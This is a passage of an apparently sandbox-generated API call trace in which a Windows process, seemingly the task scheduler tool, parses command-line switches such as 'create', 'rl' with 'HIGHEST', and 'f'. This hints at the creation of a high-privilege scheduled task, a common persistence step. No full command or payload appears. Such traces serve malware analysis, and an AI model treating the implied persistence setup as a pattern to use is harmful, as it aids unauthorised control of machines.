[0158.364] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.364] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|d|") returned 3 [0158.364] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.364] lstrlenW (lpString="|d|") returned 3 [0158.364] lstrlenW (lpString="|rl|") returned 4 [0158.364] SetLastError (dwErrCode=0x490) [0158.364] lstrlenW (lpString="m") returned 1 [0158.364] lstrlenW (lpString="m") returned 1 [0158.364] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.364] lstrlenW (lpString="rl") returned 2 [0158.364] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.364] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|m|") returned 3 [0158.364] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.364] lstrlenW (lpString="|m|") returned 3 [0158.364] lstrlenW (lpString="|rl|") returned 4 [0158.364] SetLastError (dwErrCode=0x490) [0158.364] lstrlenW (lpString="i") returned 1 [0158.364] lstrlenW (lpString="i") returned 1 [0158.365] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.365] lstrlenW (lpString="rl") returned 2 [0158.365] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.365] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|i|") returned 3 [0158.365] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.365] lstrlenW (lpString="|i|") returned 3 [0158.365] lstrlenW (lpString="|rl|") returned 4 [0158.365] SetLastError (dwErrCode=0x490) [0158.365] lstrlenW (lpString="tn") returned 2 [0158.365] lstrlenW (lpString="tn") returned 2 [0158.365] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.365] lstrlenW (lpString="rl") returned 2 [0158.365] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.365] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.365] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.365] lstrlenW (lpString="|tn|") returned 4 [0158.365] lstrlenW (lpString="|rl|") returned 4 [0158.365] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0158.365] SetLastError (dwErrCode=0x490) [0158.365] lstrlenW (lpString="tr") returned 2 [0158.365] lstrlenW (lpString="tr") returned 2 [0158.365] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.365] lstrlenW (lpString="rl") returned 2 [0158.365] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.365] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.365] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.365] lstrlenW (lpString="|tr|") returned 4 [0158.366] lstrlenW (lpString="|rl|") returned 4 [0158.366] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0158.366] SetLastError (dwErrCode=0x490) [0158.366] lstrlenW (lpString="st") returned 2 [0158.366] lstrlenW (lpString="st") returned 2 [0158.366] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.366] lstrlenW (lpString="rl") returned 2 [0158.366] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.366] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|st|") returned 4 [0158.366] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.366] lstrlenW (lpString="|st|") returned 4 [0158.366] lstrlenW (lpString="|rl|") returned 4 [0158.366] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0158.366] SetLastError (dwErrCode=0x490) [0158.366] lstrlenW (lpString="sd") returned 2 [0158.366] lstrlenW (lpString="sd") returned 2 [0158.366] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.366] lstrlenW (lpString="rl") returned 2 [0158.366] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.366] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sd|") returned 4 [0158.366] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.366] lstrlenW (lpString="|sd|") returned 4 [0158.366] lstrlenW (lpString="|rl|") returned 4 [0158.366] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0158.366] SetLastError (dwErrCode=0x490) [0158.366] lstrlenW (lpString="ed") returned 2 [0158.366] lstrlenW (lpString="ed") returned 2 [0158.366] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.366] lstrlenW (lpString="rl") returned 2 [0158.366] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.366] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ed|") returned 4 [0158.366] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.367] lstrlenW (lpString="|ed|") returned 4 [0158.367] lstrlenW (lpString="|rl|") returned 4 [0158.367] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0158.367] SetLastError (dwErrCode=0x490) [0158.367] lstrlenW (lpString="it") returned 2 [0158.367] lstrlenW (lpString="it") returned 2 [0158.367] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.367] lstrlenW (lpString="rl") returned 2 [0158.367] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.367] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|it|") returned 4 [0158.367] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.367] lstrlenW (lpString="|it|") returned 4 [0158.367] lstrlenW (lpString="|rl|") returned 4 [0158.367] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0158.367] SetLastError (dwErrCode=0x490) [0158.367] lstrlenW (lpString="et") returned 2 [0158.367] lstrlenW (lpString="et") returned 2 [0158.367] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.367] lstrlenW (lpString="rl") returned 2 [0158.367] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.367] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|et|") returned 4 [0158.367] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.367] lstrlenW (lpString="|et|") returned 4 [0158.367] lstrlenW (lpString="|rl|") returned 4 [0158.367] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0158.367] SetLastError (dwErrCode=0x490) [0158.367] lstrlenW (lpString="k") returned 1 [0158.367] lstrlenW (lpString="k") returned 1 [0158.367] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.367] lstrlenW (lpString="rl") returned 2 [0158.367] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.368] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|k|") returned 3 [0158.368] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.368] lstrlenW (lpString="|k|") returned 3 [0158.368] lstrlenW (lpString="|rl|") returned 4 [0158.368] SetLastError (dwErrCode=0x490) [0158.368] lstrlenW (lpString="du") returned 2 [0158.368] lstrlenW (lpString="du") returned 2 [0158.368] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.368] lstrlenW (lpString="rl") returned 2 [0158.368] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.368] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|du|") returned 4 [0158.368] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.368] lstrlenW (lpString="|du|") returned 4 [0158.368] lstrlenW (lpString="|rl|") returned 4 [0158.368] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0158.368] SetLastError (dwErrCode=0x490) [0158.368] lstrlenW (lpString="ri") returned 2 [0158.368] lstrlenW (lpString="ri") returned 2 [0158.369] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.369] lstrlenW (lpString="rl") returned 2 [0158.369] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.369] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ri|") returned 4 [0158.369] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.369] lstrlenW (lpString="|ri|") returned 4 [0158.369] lstrlenW (lpString="|rl|") returned 4 [0158.369] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0158.369] SetLastError (dwErrCode=0x490) [0158.369] lstrlenW (lpString="z") returned 1 [0158.369] lstrlenW (lpString="z") returned 1 [0158.369] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.369] lstrlenW (lpString="rl") returned 2 [0158.369] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.369] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|z|") returned 3 [0158.369] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.369] lstrlenW (lpString="|z|") returned 3 [0158.369] lstrlenW (lpString="|rl|") returned 4 [0158.369] SetLastError (dwErrCode=0x490) [0158.369] lstrlenW (lpString="f") returned 1 [0158.369] lstrlenW (lpString="f") returned 1 [0158.369] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.369] lstrlenW (lpString="rl") returned 2 [0158.369] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.369] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.369] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.369] lstrlenW (lpString="|f|") returned 3 [0158.369] lstrlenW (lpString="|rl|") returned 4 [0158.369] SetLastError (dwErrCode=0x490) [0158.369] lstrlenW (lpString="v1") returned 2 [0158.369] lstrlenW (lpString="v1") returned 2 [0158.369] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.370] lstrlenW (lpString="rl") returned 2 [0158.370] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.370] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|v1|") returned 4 [0158.370] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.370] lstrlenW (lpString="|v1|") returned 4 [0158.370] lstrlenW (lpString="|rl|") returned 4 [0158.370] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0158.370] SetLastError (dwErrCode=0x490) [0158.370] lstrlenW (lpString="xml") returned 3 [0158.370] lstrlenW (lpString="xml") returned 3 [0158.370] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.370] lstrlenW (lpString="rl") returned 2 [0158.370] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.370] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|xml|") returned 5 [0158.370] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.370] lstrlenW (lpString="|xml|") returned 5 [0158.370] lstrlenW (lpString="|rl|") returned 4 [0158.370] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0158.370] SetLastError (dwErrCode=0x490) [0158.370] lstrlenW (lpString="ec") returned 2 [0158.370] lstrlenW (lpString="ec") returned 2 [0158.370] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.370] lstrlenW (lpString="rl") returned 2 [0158.370] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.370] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ec|") returned 4 [0158.370] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.370] lstrlenW (lpString="|ec|") returned 4 [0158.370] lstrlenW (lpString="|rl|") returned 4 [0158.370] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0158.370] SetLastError (dwErrCode=0x490) [0158.370] lstrlenW (lpString="rl") returned 2 [0158.371] lstrlenW (lpString="rl") returned 2 [0158.371] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.371] lstrlenW (lpString="rl") returned 2 [0158.371] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.371] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.371] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.371] lstrlenW (lpString="|rl|") returned 4 [0158.371] lstrlenW (lpString="|rl|") returned 4 [0158.371] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0158.371] SetLastError (dwErrCode=0x0) [0158.371] SetLastError (dwErrCode=0x0) [0158.371] lstrlenW (lpString="HIGHEST") returned 7 [0158.371] lstrlenW (lpString="-/") returned 2 [0158.371] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0158.371] SetLastError (dwErrCode=0x490) [0158.371] SetLastError (dwErrCode=0x490) [0158.371] SetLastError (dwErrCode=0x0) [0158.371] lstrlenW (lpString="HIGHEST") returned 7 [0158.371] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0158.371] SetLastError (dwErrCode=0x490) [0158.371] SetLastError (dwErrCode=0x0) [0158.371] _memicmp (_Buf1=0x2fd540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.371] lstrlenW (lpString="HIGHEST") returned 7 [0158.371] lstrlenW (lpString="HIGHEST") returned 7 [0158.371] lstrlenW (lpString=" \x09") returned 2 [0158.371] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0158.371] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0158.371] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0158.371] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0158.371] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0158.371] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0158.371] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0158.371] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0158.372] GetLastError () returned 0x0 [0158.372] lstrlenW (lpString="HIGHEST") returned 7 [0158.372] lstrlenW (lpString="HIGHEST") returned 7 [0158.372] SetLastError (dwErrCode=0x0) [0158.372] SetLastError (dwErrCode=0x0) [0158.372] lstrlenW (lpString="/f") returned 2 [0158.372] lstrlenW (lpString="-/") returned 2 [0158.372] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.372] lstrlenW (lpString="create") returned 6 [0158.372] lstrlenW (lpString="create") returned 6 [0158.372] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.372] lstrlenW (lpString="f") returned 1 [0158.372] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.372] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|create|") returned 8 [0158.372] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.372] lstrlenW (lpString="|create|") returned 8 [0158.372] lstrlenW (lpString="|f|") returned 3 [0158.372] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0158.372] SetLastError (dwErrCode=0x490) [0158.372] lstrlenW (lpString="?") returned 1 [0158.372] lstrlenW (lpString="?") returned 1 [0158.372] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.372] lstrlenW (lpString="f") returned 1 [0158.372] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.372] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|?|") returned 3 [0158.372] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.372] lstrlenW (lpString="|?|") returned 3 [0158.372] lstrlenW (lpString="|f|") returned 3 [0158.372] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0158.372] SetLastError (dwErrCode=0x490) [0158.372] lstrlenW (lpString="s") returned 1 [0158.372] lstrlenW (lpString="s") returned 1 [0158.373] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.373] lstrlenW (lpString="f") returned 1 [0158.373] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.373] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|s|") returned 3 [0158.373] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.373] lstrlenW (lpString="|s|") returned 3 [0158.373] lstrlenW (lpString="|f|") returned 3 [0158.373] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0158.373] SetLastError (dwErrCode=0x490) [0158.373] lstrlenW (lpString="u") returned 1 [0158.373] lstrlenW (lpString="u") returned 1 [0158.373] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.373] lstrlenW (lpString="f") returned 1 [0158.373] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.373] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|u|") returned 3 [0158.373] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.373] lstrlenW (lpString="|u|") returned 3 [0158.373] lstrlenW (lpString="|f|") returned 3 [0158.373] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0158.373] SetLastError (dwErrCode=0x490) [0158.373] lstrlenW (lpString="p") returned 1 [0158.373] lstrlenW (lpString="p") returned 1 [0158.373] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.373] lstrlenW (lpString="f") returned 1 [0158.373] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.373] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|p|") returned 3 [0158.373] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.373] lstrlenW (lpString="|p|") returned 3 [0158.373] lstrlenW (lpString="|f|") returned 3 [0158.373] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0158.373] SetLastError (dwErrCode=0x490) [0158.374] lstrlenW (lpString="ru") returned 2 [0158.374] lstrlenW (lpString="ru") returned 2 [0158.374] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.374] lstrlenW (lpString="f") returned 1 [0158.374] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.374] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ru|") returned 4 [0158.374] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.374] lstrlenW (lpString="|ru|") returned 4 [0158.374] lstrlenW (lpString="|f|") returned 3 [0158.374] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0158.374] SetLastError (dwErrCode=0x490) [0158.374] lstrlenW (lpString="rp") returned 2 [0158.374] lstrlenW (lpString="rp") returned 2 [0158.374] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.374] lstrlenW (lpString="f") returned 1 [0158.374] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.374] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rp|") returned 4 [0158.374] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.374] lstrlenW (lpString="|rp|") returned 4 [0158.374] lstrlenW (lpString="|f|") returned 3 [0158.374] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0158.374] SetLastError (dwErrCode=0x490) [0158.374] lstrlenW (lpString="sc") returned 2 [0158.374] lstrlenW (lpString="sc") returned 2 [0158.374] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.374] lstrlenW (lpString="f") returned 1 [0158.374] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.374] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.374] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.374] lstrlenW (lpString="|sc|") returned 4 [0158.374] lstrlenW (lpString="|f|") returned 3 [0158.375] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0158.375] SetLastError (dwErrCode=0x490) [0158.375] lstrlenW (lpString="mo") returned 2 [0158.375] lstrlenW (lpString="mo") returned 2 [0158.375] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.375] lstrlenW (lpString="f") returned 1 [0158.375] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.375] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.375] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.375] lstrlenW (lpString="|mo|") returned 4 [0158.375] lstrlenW (lpString="|f|") returned 3 [0158.375] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0158.375] SetLastError (dwErrCode=0x490) [0158.375] lstrlenW (lpString="d") returned 1 [0158.375] lstrlenW (lpString="d") returned 1 [0158.375] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.375] lstrlenW (lpString="f") returned 1 [0158.375] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.375] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|d|") returned 3 [0158.375] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.375] lstrlenW (lpString="|d|") returned 3 [0158.375] lstrlenW (lpString="|f|") returned 3 [0158.375] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0158.375] SetLastError (dwErrCode=0x490) [0158.375] lstrlenW (lpString="m") returned 1 [0158.375] lstrlenW (lpString="m") returned 1 [0158.375] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.375] lstrlenW (lpString="f") returned 1 [0158.375] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.375] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|m|") returned 3 [0158.376] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.376] lstrlenW (lpString="|m|") returned 3 [0158.376] lstrlenW (lpString="|f|") returned 3 [0158.376] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0158.376] SetLastError (dwErrCode=0x490) [0158.376] lstrlenW (lpString="i") returned 1 [0158.376] lstrlenW (lpString="i") returned 1 [0158.376] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.376] lstrlenW (lpString="f") returned 1 [0158.376] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.376] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|i|") returned 3 [0158.376] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.376] lstrlenW (lpString="|i|") returned 3 [0158.376] lstrlenW (lpString="|f|") returned 3 [0158.376] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0158.376] SetLastError 